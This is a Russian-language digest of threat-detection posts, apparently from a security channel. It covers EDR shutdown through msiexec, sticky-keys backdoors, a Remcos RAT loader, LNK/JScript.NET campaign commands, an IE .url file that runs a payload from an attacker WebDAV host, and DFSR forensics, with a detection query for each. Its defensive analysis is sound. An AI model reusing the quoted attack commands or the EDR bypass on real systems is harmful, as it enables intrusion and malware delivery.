Всем привет 💻✌️

Недавно обсуждали уязвимости в EDR/VPN, а у EDR SentinelOne, бага by design, которая позволяет остановить службы через обновление продукта.

Как это работает❓
🔤 Как правило, во время обновления или восстановления продукта, службы и процессы EDR останавливаются
🔤 Злоумышленик запускает обновление (восстановление) через msiexec, и в момент когда процессы и службы потушились, хакер убивает процесс msiexec.exe, что приведёт к сбою установки и оставит систему без защиты.

Важные нюансы:
🔤 Уязвимость актуальна, только если вендор не реализовал механизмы самозащиты (блокировка остановки служб, запрет деинсталляции без прав админа и т.д.) или они отключены
🔤 Хакерам не нужно искать оригинальные MSI-файлы — установленные пакеты кешируются в %WINDIR%\Installer

🔭 Обнаружение:

🔤 Обнаруживаем локальные попытки установки edr/av msiexec /i или восстановления msiexec /fa
🔤 Обнаруживаем попытки использования пакетов из %WINDIR%\Installer, совпадающих с вашим вендором или установкой по GUID, который можно найти в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
🔤 Отслеживаем, используемые версии средств защиты
🔤 Отслеживаем запуск msiexec от подозрительных родительских процессов
🔤 В журнале Application отслеживаем события от провайдера MsiInstaller


События при нормальной установке пакета

1040 (путь к msi-файлу, и pid процесса, который запустил установку) -> 1042 (путь к msi-файлу, pid процесса, который запустил установку) -> 11707 (установка успешна, можем увидеть имя продукта\производителя)-> 1033 (установка завершена с кодом 0, тут можем увидеть sid-пользователя, название продукта и версию, может быть полезно для заполнения контроля установленных версий)

События при удалении пакета

11724 -> 1034 (продукт удален, тут можем увидеть название продукта и версию) 

Событие при обновлении конфигурации

11728 (обновление конфигурации) - генерируется при запуске той же версии msi-пакета

События при завершении установки с ошибкой

1033 (название продукта и версию, с кодом завершения отличным от 0) ->11708 (установка завершена с ошибкой, sid-пользователя, название продукта)

Эти события интересуют нас больше всего, именно они сгенерировались в момент обновления/восстановления продукта через msiexec

Дополнительно информацию об установленных пакетах можно посмотреть в реестре - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\<SID>\Products\<GUID>\InstallProperties . В этом разделе реестра есть интересный ключ - InstallSource по которому можно похантить аномалии в установке EDR и т.п.

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Небольшой гайд, по созданию профиля Volatility для Linux операционных систем. В In-House SOC и MSSP идеально иметь профили под все используемые дистрибутивы и версии ядра, для этого необходимо внедрить процесс взаимодействия с it

#detection@detectioneasy

Всем привет 💻✌️
Что происходит, когда админ забыл пароль от локальной учетки? Смотрит laps?)
Или по-старинке заменит sethc.exe (utilman.exe) на cmd.exe, и создаст нового пользователя?

Последний вариант, может стать точкой входа для хакеров. Представим ситуацию, админ за собой не убрался, сервер торчит в интернет (такого не бывает 😄)

Плохие парни нажимают пару раз shift и получают права system 👤на серваке

🔭 Что же нам делать?

🔤 отслеживаем копирование системных файлов sethc.exe, utilman.exe, osk.exe, Magnify.exe, Narrator.exe, DisplaySwitch.exe
🔤 хантим, чтобы описание файла не отличалось от его имени
🔤 обнаруживаем запуск утилит из специальных возможностей, от родителя winlogon.exe и пользователя system
🔤 для профилактики берем хеш cmd.exe с каждого компа (если нет базы) и проверяем файловую систему на совпадения

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Рассмотрим атаку с безфайловым PowerShell-загрузчиком, который запускает Remcos RAT в память. 😈

Что происходит❓

Злоумышленники рассылают фишинговые письма с ZIP-архивами, внутри — поддельные LNK-файлы (часто маскируются под PDF или документы).

При открытии срабатывает цепочка:

🔤 LNK → MSHTA.exe — запускает обфусцированный HTA с удаленного ресурса.
🔤 HTA → PowerShell — vbs-скрипт используется как прокси, для запуска powershell команд: добавление в закреп HKCU:\…\CurrentVersion\Run, загрузки hta, ps1 и decoy-файла в C:\Users\Public, добавление директории C:\Users\Public в исключения Windows Defender (Add-MpPreference -ExclusionPath). В закреп добавлялась powershell-команда для запуска hta_)
🔤 In-Memory Loader — загруженный powershell декодирует base64, выделяет память через VirtualAlloc, копирует шеллкод и запускает его через CallWindowProcW, запускается Remcos RAT

Powershell Loader - может быть и супер крутой, обфусцированный, использует callback, но шаги до его запуска вообще не opsec)
Очень шумно, закреп hta в реестр, запуска hta с удаленного сервера, загрузка файлов через powershell, добавление в исключение defender...) powershell скрипт с base64 и virtualalloc


🔭 Обнаружение:
🔤 MSHTA.exe с http(s) точность близка к 100%
🔤 Закреп скриптов в HKLM\...\Run и HKCU\...\Run
🔤 Сетевые подключения от PowerShell (и в целом) на нестандартные порты за пределами корпоративной сети
🔤 Опасные командлеты в powershell VirtualAlloc, CallWindowProcW
🔤 Добавление исключений в defender (в AV)

Может получиться интересный хант

Мы можем собрать и группировать исключения AV с хостов. 
Обращаем внимание на пути, которые повторяются реже всего, если не пробили всю инфру))
Полезно проверять, что в директориях исключений AV лежит_) 

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Наконец-то досмотрел доклады с phd) Спасибо всем спикерам за проделанную работу и шеринг знаний)

Offense/Defense
🔤 Abuse GPO AD
🔤 Отключение EDR/AV
🔤 Смотрим глубже: ищем подозрительные COM-запросы на уровне ALPC
🔤 Опыт реального перехода на detection as code
🔤 Легитимные С2: как популярные сервисы работают на хакеров
🔤 Sysinternals глазами SOC
🔤 Подходы и техники для детекта «красных» утилит. Взгляд со стороны blue team, или то, как мы видим red team
🔤 Сколько стоит SOC на open source

Больше всего отклинулось внедрение ml/llm в разные области soc/cert🧠

🔤 От данных к действиям: ML в сердце DFIR
🔤 ИИ-агенты в киберразведке
🔤 Применение легковесных LLM в аналитических задачах ИБ
🔤 LLM и агенты: разгоняем SOC
🔤 AutoML threat detection: повышаем уровень автономности SOC

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

В отчете Bi.Zone рассмотрена работа двух вредоносных кампаний.

Давайте рассмотрим одну из них

🔤 Атака начинается с фишинга, пользователям присылают ссылку при переходе по которой загружается zip-архив с lnk и ini-файлом. INI по факту является архивом, в котором exe, dll и decoy-pdf. EXE - это легитимный бинарь с подписью, но уязвимый к загрузке dll

🔤 Выполняется команда LNK, которая ищет архив в каталоге пользователя %USERPROFILE%, создает JScript.NET файл. Он распаковывает zip-архив, замаскированный под расширение INI

set /p="import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + "\\" + (Convert.ToChar(117)+Convert.ToChar(109)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start("cmd.exe", "/C move " + System.Reflection.Assembly.GetExecutingAssembly().Location + " " + System.Reflection.Assembly.GetExecutingAssembly().Location + "_");}Main();">%TEMP%\UKSS1G4Q7H6S.a

🔤 Далее проверяется наличие легитимного файла из вложенного архива, он запускается и загружает в память вредоносную библиотеку (С# Loader), для запуска файла используется команда start с применением обфускации

^st^art "" /MIN "%USERPROFILE%\J8ZUARAW71W7\H5GDXM70NJ.exe" & exit

🔤 Если файла из шага 2 нет, то проверяется наличие unzip.exe (скомпилированный JScript.NET), который распаковывает фальшивый INI-файл

if exist %TEMP%\unzip.exe (%TEMP%\unzip.exe "%f" "%USERPROFILE%\J8ZUARAW71W7") 

🔤 Для запуска компиляции JScript.NET используется jsc.exe, который в свою очередь запускается с помощью LOLBAS - forfiles. Исполняемый файл сохраняется с именем %TEMP%\unzip.exe

(C:\Windows\system32\forfiles.exe /P %SystemRoot% /M notepad.exe /C "cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\unzip.exe %TEMP%\UKSS1G4Q7H6S.a")

Работа загрузчика подробно расписана в репорте, но стоит выделить основные моменты:

🔤 При обращении к серверу используется следующая строка заголовка User-Agent: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
🔤 Создается рабочий каталог %APPDATA%\74EJ6RTFKKRS
🔤 Для закрепления создается startapp.bat в каталоге автозагрузки, который запускает %APPDATA%\74EJ6RTFKKRS\H5GDXM70NJ.exe
🔤 Для защиты от песочниц следующего этапа, атакующие проверяют систему, и если он не соответствует критериям, то загружается hxxps://huggingface[.]co/TheBloke/Llama-2-70B-GGUF/resolve/main/llama-2-70b.Q5_K_M.gguf

🔭 Обнаружение

🔤 по классике, отслеживаем создание LNK-файлов
🔤 основным тригером для нас должны стать команды из LNK. набор триггеров и LOLBAS и .Net, касательно этой кампании можем поискать использование forfiles.exe и start.exe
🔤 создание скриптов в директории автозагрузки

Похантить можно:
🔤 user-agent User-Agent: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
🔤 наличие скриптов в директории автозагрузке пользователя
🔤 обращение на hxxps://huggingface[.]co/TheBloke/Llama-2-70B-GGUF/resolve/main/llama-2-70b.Q5_K_M.gguf

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Давайте сегодня поговорим о теме абстракции, касательно всех команд SOC. Тема не новая, но многие забывают о ней или не осознают ее значимость.

Абстракция - это концепция, с помощью которой детали реализации скрыты от пользователя или автоматизированы для него

Для наглядного примера я взял скриншот из проекта AbstractionMaps.

💙 Детектирование может строиться на:

🔤 Используемых утилитах - эффективно, если корректно внедрен CTI, мы понимаем контекст того, какие группировки интересуются нашей организацией и следим за ними. Названия, метаинформация файлов, User-Agent'ы, сертификаты по умолчанию и т.п.

🔤 Утилиты строятся на использовании протоколов, API/WinAPI - так мы можем их обобщить и писать правила для обнаружения нескольких инструментов одновременно.

🔤 WinAPI под капотом часто использует RPC-интерфейсы и соответствующие методы.

🔤 В зависимости от выполняемых действий, на нижнем уровне могут быть обращения к файловой системе, реестру, сетевым протоколам.

Данный подход позволяет изучить исследуемый объект с нескольких сторон и сделать наши правила более универсальными.

❤️ Красной команде понимание абстракции важно при написании инструментов и повышении стелс-возможностей.

Рассмотрим процесс создания службы. Сколько вариантов вы можете назвать? 2-3 или больше? Например:

🔤 Утилита sc.exe create
🔤 Командлет New-Service
🔤 Invoke-PSExec

...и этот список можно продолжать бесконечно (yet another tool ✌️). А если углубиться ниже, все инструменты в конечном итоге используют одни и те же системные интерфейсы и их методы:

🔤 Вызов RPC, интерфейс UUID {367ABB81-9844-35F1-AD32-98F038001003}
🔤 Named pipe \PIPE\svcctl

Можно создать службу и через реестр), и тогда все вышеописанное окажется бесполезным).

Мы рассмотрели способы создания служб, но все созданное должно где-то храниться. В Windows основные конфигурации хранятся в реестре, остальные данные — в других структурах. Для эффективного детектирования нам нужно отслеживать создание ключей реестра, а также другие низкоуровневые события, опираясь на модель абстракции.

P.S. Эффективной практикой будет также отслеживание попыток изменения легитимных служб

#detection@detectioneasy

По информации от TI Bi.Zone ClickFix зафиксирован в кампаниях нацеленных на российские организации

Наши читатели были к этому готовы ✔️

#detection@detectioneasy

Познакомимся с regseek - это база данных важных ключей реестра с их описанием, насчитывает порядка 139 артефактов.

И зачем нам это❓

🔤 Оценить качество собираемых событий. В репозитории артефакты разделены по доменам, понятно, что некоторые ключи могут быть не связаны напрямую с деятельностью APT и т.п., но помогут обнаружить нарушение политик ИБ

🔤Обогатить собираемые события (алерты) описанием из репозитория


#detection@detectioneasy

⚠️ В Internet Explorer RCE, достаточно кликнуть по ссылке)

Отчет от CheckPoint, для атаки используется URL-файл - да опять)

Содержимое:

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

В целом ничего необычного, только iediagcmd.exe выполняет ряд команд:

ipconfig.exe /all
netsh.exe in tcp show global
netsh.exe advfirewall firewall show rule name=all verbose
route.exe print

В рабочей WorkingDirectory=\\summerartcamp[.]net@ssl@443/DavWWWRoot\OSYxaOjr хакеры размещают вредоносный route.exe, который и запускается после открытия файла

Также для атак использовался легитимный файл - CustomShellHost.exe

#detection@detectioneasy
#ttp@detectioneasy

🔭 Для обнаружения поведения выше воспользуемся правилами, которые описывали раннее и новыми:

🔤 ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and CurrentDirectory startswith "\\\\"

🔤 ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image startswith "\\\\"

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Интересная фишинговая кампания рассмотрена в блоге

Хакеры из Mustang Panda использовали DLL Sideloading, как бы Вы думали где? В Google Chrome

Для этого расположили dll - chrome_elf.dll в дирректории с номером версии - 101.0.4951.41\chrome_elf.dll, DLL-имеет невалидную цифровую подпись

🔤 ZIP-архив с вложенным Chrome, название которого мимикрирует под документ - The_Military_Balance_2025.exe и скрытая папка с атрибутами - hidden and system, что позволит скрыть дирректорию. В этой папке и хранится dll

🔤 Пользователь запускает исполняемый файл, происходит распаковка архива в %TEMP%, и загрузка вредоносной dll

🔭 Обнаружение

🔤 отслеживаем создание исполняемых файлов в temp с motw

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 15 and (TargetFilename endswith ".exe:Zone.Identifier" or TargetFilename endswith ".dll:Zone.Identifier" or TargetFilename endswith ".scr:Zone.Identifier" ) and Contents=".*ZoneId=3.*"

🔤 отслеживаем загрузку DLL без валидной подписи из одной дирректории с exe-файлом

ProviderName="Microsoft-Windows-Sysmon" and ImageLoadedPath startswith ImagePath and EventId = 7 and not (SignatureStatus = "Valid" and Signed=true)

sample

#detection@detectioneasy
#ttp@detectioneasy

Всем привет 💻✌️

Астрологи предсказывают неделю фишинга
Новая техника от mr.d0x альтернатива ClickFix - FileFix

#ttp@detectioneasy

Всем привет 💻✌️

🔭 Для обнаружения FileFix можем отслеживать цепочку процессов, например:

ProviderName="Microsoft-Windows-Security-Auditing" and  EventId = 4688 and ParentProcessName endswith "firefox.exe" and NewProcessName endswith "powershell.exe"

🎯 Похантить можем наличие подозрительных команд в ключе реестра:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths

#detection@detectioneasy

Вредоносы в SYSVOL: ищем источник 😐

Допустим, мы расследуем инцидент с шифровальщиком. Для запуска шифровальщика хакеры использовали групповую политику (например, прописали задачу планировщика). Сам вредонос они положили в папку SYSVOL на контроллере домена (DC).

🥷 Как понять, откуда действовал хакер? В этом посте сфокусируемся на файловом следе.

Логика простая: чтобы положить файл в SYSVOL, хакер должен был так или иначе «зайти» на DC. Поэтому смотрим, когда был создан файл (кстати, поэтому важно сначала собрать данные для расследования, а потом уже зачищать системы), и соотносим эту информацию с входами в систему.

Кажется, все просто, но есть нюанс: содержимое каталога SYSVOL реплицируется между DC с помощью DFSR (Distributed File System Replication). То есть хакеру достаточно положить вредоносный файл на один DC, а дальше система автоматически распространит его по всем остальным. Как понять, какой DC был исходным, особенно если DC много?

Посмотрим отладочные логи DFSR на произвольном DC из тех, на которых вредонос попал в папку SYSVOL. Обычно эти логи находятся в папке %systemroot%\debug, имена файлов имеют вид Dfsrxxxxx.log и Dfsrxxxxx.log.gz (.gz в Windows? Да!). Логи текстовые, вполне поддаются грепу, но при этом некоторые события имеют многострочный формат, — учитывайте это, если не хотите потерять контекст.

Поищем в логах имя нашего вредоноса (пусть это будет badfile.exe). Если мы нашли исходный DC с первого раза, мы должны найти в логах подобное сообщение:

20250526 02:44:24.906 5628 USNC  2871 UsnConsumer::CreateNewRecord LDB Inserting ID Record:
+  <...>
+  name                            badfile.exe

Если коротко, то оно свидетельствует о появлении нового файла в реплицируемой папке, то есть искомый файл был изначально размещен на этом DC. В этом случае можно переходить к последнему абзацу в посте ниже 🙂

Можно на всякий случай перепроверить это в журнале $UsnJrnl:$J:

badfile.exe,.exe,132035,6849,257939,4,.\Windows\SYSVOL\domain\scripts,52168700184,2025-05-25 23:44:23.6245532,FileCreate,Archive,436154648

Видно, что файл создается на файловой системе (FileCreate).

Если бы файл был реплицирован, это выглядело бы так:

2025-03-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,FILE_CREATE,archive,7|109885

2025-05-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,RENAME_OLD_NAME,archive,7|109885

2025-05-25 23:44:25 +0000 UTC,badfile.exe,Windows\SYSVOL\domain\scripts\badfile.exe,RENAME_NEW_NAME,archive,5|269425

Видно, что файл сначала создается в папке DFSR, а потом уже переносится в SYSVOL.

Если же вредонос был реплицирован на исследуемый DC, мы увидим в логах DFSR подобное сообщение:

20250526 02:44:24.949 4452 INCO  3065 InConnection::ReceiveUpdates Received: uid:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 gvsn:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 fileName:badfile.exe session:86382 connId:{C62DFB26-63FA-4E9F-B533-0F487BF8E043} csId:{F0285778-7EF8-4808-85D7-68223AA11FB5} csName:SYSVOL Share

Очень интересно, но ничего не понятно.

Продолжение в следующем посте 🔽

#ir #dfir #DFSR
@ptescalator